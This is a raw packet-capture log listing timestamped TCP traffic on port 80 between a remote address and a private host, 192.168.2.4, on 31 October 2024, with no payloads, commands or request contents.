Oct 31, 2024 20:52:46.693046093 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.693061113 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.693541050 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.693555117 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.693564892 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.693578005 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.693604946 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.693629026 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.693641901 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.693654060 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.693661928 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.693664074 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.693686008 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.720016003 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.720029116 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.720040083 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.720076084 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.720113039 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.720123053 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.720134974 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.720145941 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.720170975 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.720434904 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.720470905 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.720479965 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.720491886 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.720530033 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.720557928 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.720568895 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.720580101 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.720592976 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.720603943 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.720623970 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.720645905 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.720655918 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.720694065 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.720736980 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.720748901 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.720761061 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.720778942 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.720786095 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.720788956 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.720799923 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.720810890 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.720812082 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.720834970 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.720864058 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.720874071 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.720909119 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.720937967 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.720947981 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.720959902 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.720971107 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.720977068 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.720982075 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.720988989 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.721118927 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.721129894 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.721139908 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.721151114 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.721157074 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.721163034 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.721174955 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.721174955 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.721187115 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.721194029 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.721199989 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.721213102 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.721216917 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.721226931 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.721232891 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.721256971 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.765211105 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.765228987 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.765248060 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.765263081 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.765275002 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.765285969 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.765296936 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.765307903 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.765316963 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.765360117 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.765377998 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.765449047 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.765515089 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.765559912 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.765562057 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.765571117 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.765603065 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.765614033 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.765624046 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.765634060 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.765670061 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.765702009 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.765784025 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.765814066 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.765882969 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.765893936 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.765927076 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.765928030 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.765938044 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.765964031 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.766391039 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.766438007 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.766443014 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.766453028 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.766480923 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.766522884 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.766532898 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.766541958 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.766552925 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.766561031 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.766565084 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.766603947 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.766741037 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.766757965 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.766768932 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.766778946 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.766796112 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.766803980 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.766805887 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.766818047 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.766829014 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.766834021 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.766844988 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.766849041 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.766855955 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.766865969 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.766875029 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.766875982 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.766889095 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.766896009 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.766900063 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.766912937 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.766927958 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.766927958 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.766943932 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.766947985 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.766954899 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.766967058 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.766979933 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.766987085 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.766990900 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.767000914 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.767011881 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.767018080 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.767024994 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.767033100 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.767045975 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.767086029 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.767165899 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.767180920 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.767191887 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.767201900 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.767206907 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.767222881 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.767235041 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.767280102 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.767342091 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.767352104 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.767375946 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.767402887 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.767412901 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.767430067 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.767437935 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.767438889 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.767448902 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.767465115 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.767466068 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.767477036 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.767493963 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.767505884 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.767517090 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.767529964 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.767540932 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.767559052 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.767575979 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.767599106 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.767613888 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.767640114 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.767651081 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.767677069 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.768326998 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.768373966 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.768404961 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.768537045 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.768599033 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.768610001 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.768637896 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.768666983 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.768667936 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.768677950 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.768704891 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.768714905 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.768716097 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.768726110 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.768757105 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.793111086 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793124914 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793132067 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793147087 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793154001 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793159962 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793165922 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793171883 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793178082 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793206930 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793211937 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793216944 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793271065 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793314934 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793324947 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793344975 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.793380022 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793390989 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793394089 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.793421984 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793431044 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793447018 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.793462992 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.793490887 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793499947 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793508053 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793519020 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793535948 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.793570995 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793571949 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.793581009 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793613911 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.793633938 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793664932 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793673992 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793689966 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793699980 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793705940 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.793732882 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.793732882 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793768883 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.793771029 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793781042 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793812037 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793814898 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.793822050 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793849945 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793860912 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793865919 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.793870926 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.793888092 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.793989897 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.794001102 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.794009924 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.794020891 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.794032097 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.794034958 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.794047117 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.794058084 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.794060946 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.794068098 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.794101000 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.794131041 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.794142008 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.794178009 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.794189930 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.794199944 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.794209003 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.794225931 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.794236898 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.841073036 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841090918 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841104031 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841130972 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.841154099 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841226101 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841238022 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841248035 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841248035 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.841264963 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841273069 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.841275930 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841290951 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841300011 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.841301918 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841325998 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.841340065 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841350079 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841362000 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841372013 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841377974 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.841403008 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.841439009 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841449022 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841458082 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841479063 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.841485023 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841495037 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841496944 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.841535091 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.841536045 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841628075 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841638088 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841648102 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841659069 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841669083 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.841682911 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.841845036 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841860056 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841871023 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841892004 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.841907978 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.841964960 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841974020 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841984034 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.841994047 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.842025042 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.842042923 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.842047930 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.842057943 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.842067003 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.842092991 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.842097998 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.842108011 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.842118025 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.842140913 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.842164040 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.842199087 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.842210054 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.842219114 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.842230082 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.842240095 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.842250109 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.842271090 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.842288971 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.842309952 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.842314959 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.842324972 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.842367887 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.881015062 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.886354923 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.886373043 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.886392117 CET	80	49784	185.215.113.16	192.168.2.4
